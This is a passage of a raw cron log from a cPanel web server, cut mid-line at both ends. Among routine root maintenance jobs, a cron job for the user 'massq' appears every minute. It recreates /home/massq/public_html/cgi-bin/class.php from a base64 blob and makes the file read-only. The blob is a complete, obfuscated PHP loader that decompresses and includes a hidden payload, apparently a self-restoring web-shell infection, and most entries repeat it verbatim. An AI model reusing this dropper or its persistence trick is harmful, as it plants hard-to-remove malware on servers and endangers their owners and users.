UoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:36:01 server CROND[11830]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:36:01 server CROND[11831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:36:01 server CROND[11832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:37:01 server CROND[12196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:37:01 server CROND[12197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:37:01 server CROND[12198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:38:01 server CROND[12597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:38:01 server CROND[12598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:38:01 server CROND[12599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:39:01 server CROND[13000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:39:01 server CROND[12999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:39:01 server CROND[13002]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 08:39:01 server CROND[13001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:40:01 server CROND[13383]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:40:01 server CROND[13384]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:40:01 server CROND[13385]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:40:01 server CROND[13386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:40:01 server CROND[13388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:40:01 server CROND[13390]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:40:01 server CROND[13389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:40:01 server CROND[13387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:41:01 server CROND[14337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:41:01 server CROND[14338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:41:01 server CROND[14339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:42:01 server CROND[14764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:42:01 server CROND[14765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:42:01 server CROND[14766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:42:01 server CROND[14767]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 08:43:01 server CROND[15140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:43:01 server CROND[15141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:43:01 server CROND[15142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:44:01 server CROND[15514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:44:01 server CROND[15515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:44:01 server CROND[15516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:45:01 server CROND[15917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:45:01 server CROND[15918]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:45:01 server CROND[15919]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:45:01 server CROND[15929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:45:01 server CROND[15928]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:45:01 server CROND[15927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:45:01 server CROND[15933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:46:01 server CROND[16925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:46:01 server CROND[16926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:46:01 server CROND[16927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:47:02 server CROND[17299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:47:02 server CROND[17300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:47:02 server CROND[17301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 